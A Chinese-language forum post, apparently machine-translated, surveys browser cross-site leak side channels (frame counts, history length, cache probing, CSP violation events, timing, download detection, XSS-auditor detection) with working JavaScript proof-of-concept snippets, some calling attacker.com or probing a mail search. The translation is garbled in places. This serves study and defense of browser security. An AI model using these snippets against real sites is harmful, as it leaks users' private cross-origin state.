浏览器侧通道

isnull   ·   发表于 2019-03-27 11:47:33   ·   安全动态每天看

众所周知的DOM API

有一些众所周知的DOM API泄漏了跨源信息。

帧数

窗口DOM API文档如何在跨源窗口遍历(在其他浏览上下文)。其中之一是文档中的帧数(window.length)。

let win /*Any Window reference, either iframes, opener, or open()*/;win.frames.length;

在某些情况下,不同的状态具有相同的帧数,从而阻止我们正确地对它们进行分类。

在这些情况下,您可以尝试连续记录帧数,因为它可以导致您可以使用的模式,用于计时某些里程碑或在应用程序加载时检测帧计数中的异常。

const tab = window.opener; // Any Window referenceconst pattern = [];tab.location = 'https://target';const recorder = setInterval(() => pattern.push(tab.frames.length), 0);setTimeout(() => {   clearInterval(recorder);   console.log(pattern);
}, 6 * 1000);

历史长度

历史DOM API的历史对象可以知道文件存在于用户的历史有多少项。此泄漏可用于检测跨源页面何时具有某些类型的导航(例如,通过history.pushState或仅正常导航的那些)。

请注意,为了检测可以iframed的页面上的导航,可以只计算onload事件被触发的次数(请参阅帧定时),如果页面不能在帧内,则此机制可以是有用。

history.length; // leaks if there was a javascript/meta-refresh redirect

错误事件

对于大多数加载子资源的HTML元素,具有在响应错误(例如,错误500,404等)的情况下触发的错误事件以及解析错误。

人们可以通过两种方式滥用这一点:

  1. 通过检查用户是否可以访问特定资源(示例)。
  2. 通过检查用户是否已加载过去的特定资源(通过强制HTTP错误,除非缓存资源)。

缓存和错误事件

在获取子资源(除非缓存)时“强制”错误的一种方法是强制服务器根据不属于缓存键的数据拒绝请求。有几种方法可以做到这一点,例如:

  1. 如果服务器具有Web应用程序防火墙,则可以触发误报(例如,可以尝试通过在短时间内执行许多网络请求来强制服务器触发DoS保护)。
  2. 如果服务器对HTTP请求的大小有限制,则可以设置非常长的HTTP Referrer,以便在请求URL时,服务器拒绝它。

由于浏览器只会在缓存中没有内容时发出HTTP请求,因此可以注意到:

  • 如果image / script / css加载没有错误,那么这必然意味着它来自缓存。
  • 否则,它必须来自网络(注意,也可以使用时间来计算出来。
  • 缓存探测是众所周知的攻击,并且一些浏览器一直在考虑为每个源提供单独的缓存存储,但目前没有其他解决方案可用。

    出于演示目的,这里是一些使用overlong HTTP referrer的示例代码。

    <iframe id=f></iframe>
    <script>(async ()=>{  let url = 'https://otherwebsite.com/logo.jpg';  // Evict this from the cache (force an error).  history.replaceState(1,1,Array(16e3));  await fetch(url, {cache: 'reload', mode: 'no-cors'});  // Load the other page (you can also use <link rel=prerender>)  // Note that index.html must have <img src=logo.jpg>  history.replaceState(1,1,'/');  f.src = 'http://otherwebsite.com/index.html';  await new Promise(r=>{f.onload=r;});  // Check if the image was loaded.  // For better accuracy, use a service worker with {cache: 'force-cache'}  history.replaceState(1,1,Array(16e3));  let img = new Image();  img.src = url;  try {    await new Promise((r, e)=>{img.onerror=e;img.onload=r;});    alert('Resource was cached'); // Otherwise it would have errored out  } catch(e) {    alert('Resource was not cached'); // Otherwise it would have loaded  }})();</script>

    CSP违规事件

    发生CSP违规时创建的CSP的Violation DOM事件对象包括被阻止的主机。此泄漏可用于了解跨源页面重定向到哪个域。

    <meta http-equiv="Content-Security-Policy" content="default-src 'unsafe-inline' example.com">
    <script>document.addEventListener('securitypolicyviolation', e => {  // goes through here if a 3xx redirect to another domain happened  console.log(e.blockedURI);});fetch('https://example.com/redirect', {mode: 'no-cors',credentials: 'include'});</script>

    媒体大小

    图像,视频,音频和一些其他资源允许测量它们的持续时间(在视频和音频的情况下)和大小(对于图像)。

    定时

    对于时间安排,我们必须考虑两个因素:

    1. 在另一个窗口/原点(例如,网络,javascript等)中观察的结果。
    2. 衡量通过时间的机制。

    为了抵御这些攻击,浏览器试图限制在窗口/起源之间泄漏的信息量,并且在某些情况下,还试图限制用于测量时间的不同机制的准确性。

    测量时间

    最常用的测量时间机制是:

      1. performance.now()
      2. SharedArrayBuffer
      3. etc

    这种类型的测量可以通过严格模式下的同站点cookie(对于GET请求)或松弛模式(对于POST请求)来缓解在松散模式下使用同站点cookie并不安全,因为定时导航请求可以绕过它

    let before = performance.now()
    await fetch("//mail.com/search?q=foo")
    let request_time = performance.now() - before

    跨文档请求时间

    在chrome中,可以使用网络池计算另一个窗口/文档发出的HTTP请求数。为此,攻击者需要两个窗口/文档。

    窗口A:

  • 等待点击打开窗口B.
  • 窗口B:

  • 通过对不同的域执行255次提取操作来排除除一个插槽之外的所有插槽。在回复请求之前,Web服务器将休眠30秒。
  • 将window.opener重定向到我们想要计时的目标网址
  • 在循环中获取('// attacker.com')并计算请求所花费的时间
  • 导航请求

    这些技术用于测量导航请求加载所需的时间。

    这对于测量在松弛模式下受相同站点cookie保护时加载GET请求所需的时间非常有用。这可以通过严格模式下的同站点cookie来缓解

    帧定时

    此机制等待所有子资源完成加载。请注意,在设置X-Frame-Options标题的页面中,此机制只能用于测量网络请求,因为不会测量子资源。需要注意的是之间的差别onerror,并onload往往是同样重要的,还有的时候被触发每个事件的数量,因为这表明许多导航怎么发生的iframe内。

    <iframe name=f id=g></iframe>
    <script>h = performance.now();f.location = '//mail.com/search?q=foo';g.onerror = g.onload = ()=>{    console.log('time was', performance.now()-h)};</script>

    跨窗定时

    当一个页面使用这种机制是唯一有用的X-Frame-Options和问津上装载的子资源,或在JavaScript代码等攻击执行(如建立的开始时间跨文档请求定时多线程的JavaScript)。

    为了防止这种类型的攻击,未来可能会使用Cross-Origin-Opener-Policy

    let w=0, z=0, v=performance.now();onmessage=()=>{  try{    if(w && w.document.cookie){      // still same origin
        }    postMessage('','*');
      }catch(e){
        z=performance.now();    console.log('time to load was', v-z);
      }
    };postMessage('','*');
    w=open('//www.google.com/robots.txt');

    JavaScript执行

    测量JavaScript执行对于了解何时触发某些事件以及某些操作需要多长时间非常有用。

    例子:

  • Web应用程序时序攻击
  • 使用CSS选择器和Javascript进行定时攻击
  • 单线程JavaScript

    在Chrome以外的浏览器中,所有JavaScript代码(甚至是跨源代码)都在同一个线程中运行,这意味着可以通过测量代码在事件池中下一次运行所需的时间来衡量代码在另一个源中运行的时间长度。

    多线程JavaScript

    在Chrome中,每个站点都在不同的进程中运行,每个进程都有自己的线程,这意味着为了测量另一个线程中JavaScript执行的时间,我们必须以不同的方式对其进行测量。一种方法是通过:

    1. 在攻击者的来源上注册服务工作者。
    2. 打开目标窗口,并检测文档何时加载(使用跨窗口计时
    3. 在间隔尝试将事件循环中的窗口导航到将由服务工作者捕获的页面。
    4. 收到请求后,请记住当前时间,并返回204响应。
    5. 测量请求导航所需的时间,以及服务工作者到达的请求。

    尺寸

    有时候浏览器会将漏洞视为漏洞,有时则会根据时间进行测量。无论如何,通过使用CORBCORP有时可以(顺便)防御这种类型的攻击由于它们的实现也打破了一些API。

    例子:

  • XS-搜索Google的错误跟踪器,找出易受攻击的源代码
  • FLASH

    当前用于了解跨站点请求大小的公共机制是使用Flash

    缓存配额API

    通过滥用Cache API和单个源接收的配额,可以测量单个响应的大小。为了防止此攻击,浏览器会在配额计算中添加随机噪声。

    1. Firefox增加了一个高达100K的随机数,并将精度降低到最接近的20K(代码)。
    2. Chrome添加了一个高达14,431K(代码的随机数

    尽管它需要更多的请求,但仍然可以在添加噪声的情况下执行攻击。

    缓存时序

    通过滥用Cache API和浏览器的缓存,可以测量从不同级别的缓存加载简单请求所需的时间。假设响应时间越长,加载时间越长。通过滥用技术(例如“膨胀”响应大小),可以通过更加可测量的时间来改变差异。

    XSS过滤器

    如果可以触发并检测XSS滤波器误报,那么可以找出特定元素的存在。这意味着如果可以检测过滤器是否被触发,那么我们可以检测两个页面中由XSS过滤器阻止的元素的任何差异。阻塞模式下启用时,更容易检测到XSS过滤器,因为它会阻止页面及其所有子资源的加载,从而使所有浏览器端通道更加明显。

    位置哈希导航

    可以通过计算导航在更改时发生的次数来触发检测XSS过滤器(在阻塞模式下)的一种方法location.hash

    1. 帧时间 - 如果一个网站可以放在iframe中(也就是说,它没有X-Frame-Options),那么可以计算在导航到具有不同的URL的同一URL之后发生加载事件的次数location.hash如果触发了XSS过滤器,则数字将为2,否则为1。
    2. 跨窗口计时 - 如果网站无法放入iframe,则可以通过计算导航发生所需的时间来进行相同的攻击。由于location.hash更改不会触发网络请求,因此通过将页面导航到具有不同的URL location.hash,然后将其导航到about:blank,然后触发history.back(),如果触发网络请求
    3. 历史长度 - 与以前相同,但这可以使用history.length通过快速更改另一个窗口的位置,在浏览器有机会进行导航之前,但有足够的时间进行更改location.hash,可以计算出有多少条目存在history.length(3表示过滤器未触发时,2表示当时所做的那样)。

    历史长度攻击的示例代码。

    let url = '//victim/?falsepositive=<script>xxxxx=1;';let win = open(url);// Wait for the window to be cross-originawait new Promise(r=>setInterval(()=>{try{win.origin.slice()}catch(e){r(e)}},1));// Change the locationwin.location = url + '#';// Skip one microtaskawait Promise.resolve(1);// Change the location to same-originwin.location = 'about:blank';// Wait for the window to be same-originawait new Promise(r=>setInterval(()=>r(win.document.defaultView),1));// See how many entries exist in the historyif (win.history.length == 3) {  // XSS auditor did not trigger} else if (win.history.length == 2) {  // XSS auditor triggered}

    下载

    某些端点响应内容处置标头设置为“附件”,强制浏览器将响应下载为文件。在某些情况下,检测文件是否在某个端点上下载的能力可能会泄漏有关当前用户的信息。

    下载栏

    当基于Chromium的浏览器下载文件时,底栏会集成到浏览器窗口中。通过监控窗口高度,我们可以检测“下载栏”是否打开。

    // Any Window reference (can also be done using an iframe in some cases)const tab = window.opener;// The current window heightconst screenHeight = window.innerHeight;// The size of the chrome download bar on mac os xconst downloadsBarSize = 49;tab.location = 'https://target';setTimeout(() => {    let margin = screenHeight - window.innerHeight;    if (margin === downloadsBarSize) {       return console.log('downloads bar detected');
        }
    }, 5 * 1000);

    下载不重定向

    测试内容处置的另一种方法是:附件标题是检查导航是否重定向了页面。至少在Chrome中,如果页面加载触发下载,则不会触发导航。

    泄漏将大致如下:

    1. 打开一个新窗口并加载evil.com
    2. 将窗口导航到// vimctim / maybe_download
    3. 超时后,检查窗口是否仍然是同源的

    在没有超时的情况下检测下载。

    还有另一种方法可以在不使用任何超时的情况下检测下载尝试是否发生,这有助于同时执行数百个请求而无需担心不准确的时序。观察结果是,即使下载尝试没有触发onload事件,窗口仍然“等待”下载资源。因此,可以在iframe中包含iframe以进行检测window.onload,然后由于下载不会触发iframe指向的导航about:blank,因此可以区分原点。

    onmessage = e => console.log(e.data);var ifr = document.createElement('iframe');var url = 'http://bug.bounty/Examples/file.php';ifr.src = `data:text/html,\            <iframe id='i' src="${url}" ></iframe>            <script>onload=()=>{                try{                    i.contentWindow.location.href;                    top.postMessage('download attempt','*');                }catch(e){                    top.postMessage('no download','*');                }            }%3c/script>`;ifr.onload = ()=>{ifr.remove();}document.body.appendChild(ifr);

    对象类型匹配

    对象DOM API,这些文件object元件可以根据被加载Content-type报头。

    typemustmatch属性是布尔属性,其存在性表示data仅当type属性的值Content-Type与上述资源的值匹配时才使用属性指定的资源。

    目前,基于Chromium的浏览器不支持该属性,typemustmatch但Firefox 支持该属性

    此功能可用于确定响应是否具有,Content-type: text/html因为如果嵌入对象成功加载,则帧数将增加。

    值得一提的是,typemustmatch还确保服务器使用200 OK标头响应,否则将不会加载资源。因此,也可以检测错误页面。

    此外,如果对象未加载,其高度和宽度等于0并且大于其他情况。这允许检测响应的任何内容类型并区分错误页面。

    let url = 'https://example.org'let mime = 'application/json'let x = document.createElement('iframe');x.src = `data:text/html,<object id=obj type="${mime}" data="${url}" typemustmatch><script>onload = ()=>{console.log(obj.clientHeight)}%3c/script></object>`;document.body.appendChild(x);




    打赏我,让我更有动力~

    0 Reply   |  Until 2019-3-27 | 1375 View
    LoginCan Publish Content
    返回顶部 投诉反馈

    © 2016 - 2024 掌控者 All Rights Reserved.